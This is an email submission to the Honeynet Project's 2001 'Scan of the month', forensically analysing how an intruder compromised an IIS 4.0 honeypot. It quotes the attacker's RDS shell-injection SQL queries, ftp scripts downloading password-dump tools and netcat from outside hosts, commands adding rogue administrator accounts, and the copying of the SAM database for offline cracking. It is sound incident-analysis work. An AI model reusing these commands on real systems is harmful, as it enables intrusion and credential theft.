From berjo@ozemail.com.au Fri Apr 20 20:33:07 2001 Date: Sat, 21 Apr 2001 03:11:54 +1000 From: John Berkers To: project@honeynet.org Subject: Scan of the month Here is my second attempt at the scan of the month. All analysis was performed using Linux, Snort and TcpDump. Scan 14 - IIS Vulnerabilities Summary: 1> The following exploits were used to attack the system: a) MS99-025 - Unauthorized Access to IIS Servers through ODBC Data Access with RDS b) MS00-057 - File Permission Canonicalization Vulnerability c) MS00-078 - Web Server Folder Traversal Vulnerability 2> How were these exploits used? The RDS vulnerability was used primarily as a means of creating scripts for ftp automation, and for performing tasks that could not be performed through the NC.EXE command line. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. This is the ability that was used to carry out the initial intrusion on the server. The File Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. This method was used to gather some information on the system and to verify the contents of a number of files throughout the hack. Vulnerabilities MS00-057 and MS00-078 are related, and can be fixed by the same patch. 3> What was done once access was gained? Once access was gained a number of files were uploaded to the server by using the ftp utility on the server (not a service). The uploaded files were then used to gain further access to the server. NC.EXE appears as though it could be the gatecrasher Trojan, or it may just be a remote command prompt utility. The blackhat also updated the repair information to create a copyable instance of the SAM user database for off-line password cracking. A number of files were created in the root folder (C:\). One remained open (0 size) and was unable to be deleted by the intruder, several other held temporary information for the intruder to view, while a last file was intended for the administrator of the server. A copy of the SAM also remained (as har.txt) in the web root folder. 4> How could this attack have been prevented? Installation of the patches referred to by the Microsoft Security bulletins referenced at question 1, plus any other security updates made available by Microsoft. Blocking of ports 6969 and 6968 at a firewall would have made the attack more difficult, however not impossible. 5> How much time did you spend on this analysis? 17/04/2001 - 2:30 hours 20/04/2001 - 3:30 hours ======================= Total Time - 6:00 hours ############################################################################ ######### The analysis NT system at 172.16.1.106 (lab.wiretrip.net) compromised on February 4 2001 by 213.116.251.162 (1Cust162.tnt13.stk3.da.uu.net). # whois 213.116.251.162@whois.ripe.net [whois.ripe.net] % Rights restricted by copyright. See http://www.ripe.net/ripencc/pub-services/db/copyright.html inetnum: 213.116.192.0 - 213.116.255.255 netname: UUNET-DAN-SE descr: UUNET DAN country: EU admin-c: SB855-RIPE tech-c: LW1601-RIPE status: ASSIGNED PA remarks: -------------------------------- remarks: In case of network abuse please remarks: use the following address: remarks: remarks: abuse@(country code).uu.net remarks: remarks: So if abuse originated in UK you remarks: would use abuse@uk.uu.net remarks: -------------------------------- mnt-by: AS705-MNT changed: stephenb@uk.uu.net 20000809 source: RIPE person: Stephen Burley address: UUNET UK address: Internet House address: 332 Science Park address: Cambridge address: CB4 4BZ address: UK phone: +44 1223 250100 fax-no: +44 1223 250300 e-mail: stephenb@uk.uu.net nic-hdl: SB855-RIPE mnt-by: AS1849-MNT changed: samc@uk.uu.net 19970909 source: RIPE person: Lynne Winterbourne address: UUNET UK address: Internet Place address: 330 Science Park address: Cambridge address: CB4 4BZ address: UK phone: +44 1223 250100 fax-no: +44 1223 250300 e-mail: lynnes@uk.uu.net nic-hdl: LW1601-RIPE mnt-by: AS1849-MNT changed: stephenb@uk.uu.net 20000808 source: RIPE Attacking address range is managed by UUNET UK, Cambridge UK. Reverse lookup indicates that this is an address doled out to dial-up users to UUNET. It follows the same naming conventions that my connection to OzEmail (UUNET Australia) does. Configured snort.conf to match home network of compromised system. Using rules dated April 8 2001. Snort Packet Statistics: =========================================================================== Snort processed 7894 packets. Breakdown by protocol: Action Stats: TCP: 7847 (99.405%) Alerts: 403 UDP: 38 (0.481%) Logged: 400 ICMP: 9 (0.114%) Passed: 0 ARP: 0 (0.000%) IPv6: 0 (0.000%) IPX: 0 (0.000%) OTHER: 0 (0.000%) =========================================================================== Fragmentation Stats: Fragmented IP Packets: 0 (0.000%) Rebuild IP Packets: 0 Frag Elements Used: 0 Discarded(incomplete): 0 Discarded(timeout): 0 =========================================================================== TCP Stream Reassembly Stats: TCP Packets Used: 3462 (43.856%) Reconstructed Packets: 1187 (15.037%) Streams Reconstructed: 267 =========================================================================== Analysis with tcpdump TCPDUMP Analysis # tcpdump -r snort-0204@0117.log A bit of additional traffic has been captured in the log file. Theres some traffic between hosts 103, 105 and 108 on the same subnet as our victim. This consists of some netbios name queries, some RPC traffic between a Phillipino ISP connection and hosts 103 & 108, Netbios traffic between a TEGRIS Corporation system and host 105. Our first visit from the blackhat occurs at 22:25:08, directly to port 80, initial connection request to server. SYN, SYN:ACK, ACK >From the packet data our blackhat is using MSIE 5.01 on Windows 2000 with the HotBar 2.0 plugin installed (at least at some point, since it's in the User Agent String). Our victim is a Microsoft IIS 4.0 server running on Windows NT 4.0 with SP3? The first attempt made appears to be the standard directory traversal vulnerability (MS00-78). This is countered by the checkbox in IIS 4.0 to allow directory traversal being turned off. The black hat recieves a 403 Access Forbidden/Directory Listing Denied message for his efforts. Next the Blackhat attempts to exploit the Advanced Data Factory vulnerability (MS99-025) in the MDAC component of IIS. An SQL query especially formatted to issue a shell command is sent: ********** Select * from Customers where City='|shell("cmd /c echo werd >> c:\fun")|' driver={Mircrosoft Access Driver (*.mdb)};dbq=c:\winnt\help\iis\htm\tutorial\mtcustomer.mdb; ********** This is designed to create a file called c:\fun containing the word 'werd'. Which our blackhat then attempts to verify the success of. Next he sends another series of SQL queries: ********** Select * from Customers where City='|shell("cmd /c echo user johna2k > ftpcom")|' driver={Mircrosoft Access Driver (*.mdb)};dbq=c:\winnt\help\iis\htm\tutorial\mtcustomer.mdb; ********** (Twice, but that might just be because of the way it is handled) (Reducing to shellcode only, should be pretty obvious what's happening) cmd /c echo hacker2000 >>ftpcom cmd /c echo get samdump.dll >> ftpcom cmd /c echo get pdump.exe >> ftpcom cmd /c echo get nc.exe >> ftpcom cmd /c echo quit >> ftpcom Our blackhat now has an ftp script (ftpcom) to get some fave tools from an ftp site, which he now ftp's to with the following command line: cmd /c ftp -s:ftpcom -n www.nether.net Now he uses pdump.exe to dump passwords to new.pass cmd /c pdump.exe >> new.pass He now creates a script ftpcom2 to upload new.pass user johna2k hacker2000 put new.pass quit The blackhat initiates the script: cmd /c ftp -s:ftpcom2 -n www.nether.net Now he ftp's to 213.116.251.162 (his own machine) (without a script) He remembers that he has to have a script to do this, so he does that again (ftpcom) open 213.116.251.162 johna2k hacker2000 get samdump.dll get pdump.exe get nc.exe quit Apparently the previous site didn't work, so now he's using his IP address instead. He repeats the process again for the, except he gets his files to 212.139.12.26 (and he forgets to write the open command to sasfile): johna2k haxedj00 get pdump.exe get samdump.dll get nc.exe quit He now ftp's and doesn't put the host on the command line (remember he forgot to put it in sasfile) He now rewrites sasfile again and fogets to put a re-direct to open the FTP site again!! sasfile now looks like this: johna2k haxedj00 get pdump.exe get samdump.dll get nc.exe quit johna2k haxedj00 get pdump.exe get samdump.dll get nc.exe quit And he ftp's again. Damn!! This thing isn't working!! So now he attempts to copy CMD.EXE to the working directory for the IUSR account (as cmd1.exe). He now attempts to write his ftp script this way, and runs ftp. At 22:42:47 he runs nc.exe (netcat for NT?) and binds it to port 6969. (Note that Whitehats lists "IDS99\trojan-active-gatecrasher" as the only trojan to operate on port 6969 by default, and other info relating to it identifies it as being used with Windows). Then he sends the following command via the SQL query again: cmd /c C:\Program Files\Common Files\system\msadc\pdump.exe >>yay.txt Success!?!? He does it again 'cos nothing ended up in the file. cmd /c C:\Program Files\Common Files\system\msadc\pdump.exe >>c:\yay.txt Now he just runs the following commands. Keep in mind that he is monitoring the result using NC.EXE. ********** cmd /c pdump.exe >>c:\yay.txt cmd /c net session >>c:\yay2.txt cmd /c net users >>c:\heh.txt cmd /c net localgroup Domain Admins IWAM_KENNY /ADD cmd /c net localgroup Domain Admins IUSR_KENNY /ADD cmd /c net localgroup administrators IUSR_KENNY /ADD cmd /c net localgroup administrators IWAM_KENNY /ADD cmd /c net user testuser UgotHacked /ADD cmd /c net localgroup administrators testuser /ADD cmd /c rdisk -/s cmd /c rdisk -s cmd /c rdisk cmd /c rdisk -s/ cmd /c rdisk /s- cmd /c type c:\winnt\repair\sam._>>c:\har.txt ********** The blackhat now starts netcat on port 6968 (presumably to get his goodies). Re-analysed with latest vision.rules Commented out port 6969 rule and replaced with custom rules to capture all instances of traffic related to NC.EXE (as bound to ports 6969 and 6968) Analysis of traffic indicates that NC is providing some form of remote command prompt. The blackhat performs a couple of directory listings in the msadc folder before going on an exploration of the system. He switches to c:\ and does a directory list. This shows the following content: ********** Volume in drive C has no label. Volume Serial Number is 8403-6AoE. Directory of C:\ 11/26/00 12:34p 0 AUTOEXEC.BAT 11/26/00 06:57p 322 boot.ini 11/26/00 12:34p 0 CONFIG.SYS 12/26/00 07:36p exploits 02/04/01 06:26a 7 fun 12/07/00 03:30p InetPub 12/07/00 03:12p Multimedia Files 12/26/00 07:10p New Folder 01/26/01 02:10p 78,643,200 pagefile.sys 12/21/00 08:59p Program Files 12/21/00 08:59p TEMP 02/04/01 06:42a WINNT 12/26/00 07:09p wiretrip 02/04/01 06:43a 0 yay.txt 14 File(s) 78,643,529 bytes 1,690,861,056 bytes free ********** I would say that a folder named exploits and wiretrip would be obvious signs that this is a honeypot. Indeed the next thing the blackhat attempts is to visit the exploits folder and get a listing of files. ********** Volume in drive C has no label. Volume Serial Number is 8403-6A0E. Directory of C:\exploits 12/26/00 07:36p . 12/26/00 07:36p .. 12/26/00 07:36p microsoft 12/26/00 07:35p newfiles 12/26/00 07:24p unix 5 File(s) 0 bytes 1,690,861,056 bytes free ********** He now goes on to have a look what other files are in this directory tree. He seems to find nothing of much further interest. All commands he has run so far in trying to gather the information have not succeeded. He's managed to create a 0-byte file called yay.txt, but has got no further. He now runs the commands he tried via IIS. ********** C:> net session System error 5 has occurred Access is denied C:> net users User accounts for \\ ---------------------------------------------------------------------------- --- Administrator Guest IUSR_KENNY IWAM_KENNY The command completed with one or more errors C:> ********** He now continues trying to get some system information, and finds that when he tries to write to a file that it gets created, with no data in it. He now tries to cover his tracks by deleting the files he created. He can't delete yay.txt because it is still open. 22:50:51 Using his connection on port 6969 he creates a file called README.NOW.Hax0r with the following content: ********** Hi, i know that this is a lab server, but patch the holes! :-) ********** Note that the NC.EXE traffic show that he actually types: Hi, i know that a (BS)(BS)is a lab server,... 22:51 He now continues on his merry hacking way and tries to get admin rights on the box. He doesn't realise though that for the domain admins group he has to stick quotes on the group name: ********** net group domain admins ********** Our boy is persistent, but just does not see that he has to put quotes (quite apart from that he tries to reference domain admins as a local group, showing he knows some things about WINNT, but not a lot). 22:55 He finds the (local) Administrators group, and tries for that instead. He uses the IIS service to add himself to the local administrators group, and NC.EXE to verify success. He is now a local admin on the box!! He runs off and re-locates the msadc folder he started in and creates himself a user account using the following command: ********** net users hi guy /add ********** but is apparently unsuccessful. He now hides his tracks a bit by deleting the files he ftp'd in. 23:07 - Next he tries to get a copy of the SAM that he can crack at his leisure. He is apparently more familiar with *nix since he uses the cat command frequently instead of type. He repeatedly tries to use IIS to run a silent repair data update, and checks to see of the file date of SAM._ has changed to see if it worked. Eventually he succeeds. He then checks his access to this file by using the type command and redirecting it to c:\har.txt. (Which he subsequently views and finds it has a lot of garbage in it). 23:11 - At this point he disconnects the NC session, which he tries several times to re-establish (without success). This is when he starts the instance of NC.EXE on port 6968. He attempts to cover his tracks once more, but finds that he just cannot delete some of the files he's created (yay.txt). He finds the WWWROOT directory and copies c:\har.txt to it. This contains the SAM._ file from the repair directory. He now gets it with his browser, l0phtcrack will take care of it :). I suspect that the clever honeynet guys have set folder permissions such that files can be created, but not removed once they're there, and this is what is frustrating our blackhat since he can't cover his tracks properly. He now appears to do some final checking of the various files he intentionally left behind before leaving at 23:54. John Berkers berjo@ozemail.com.au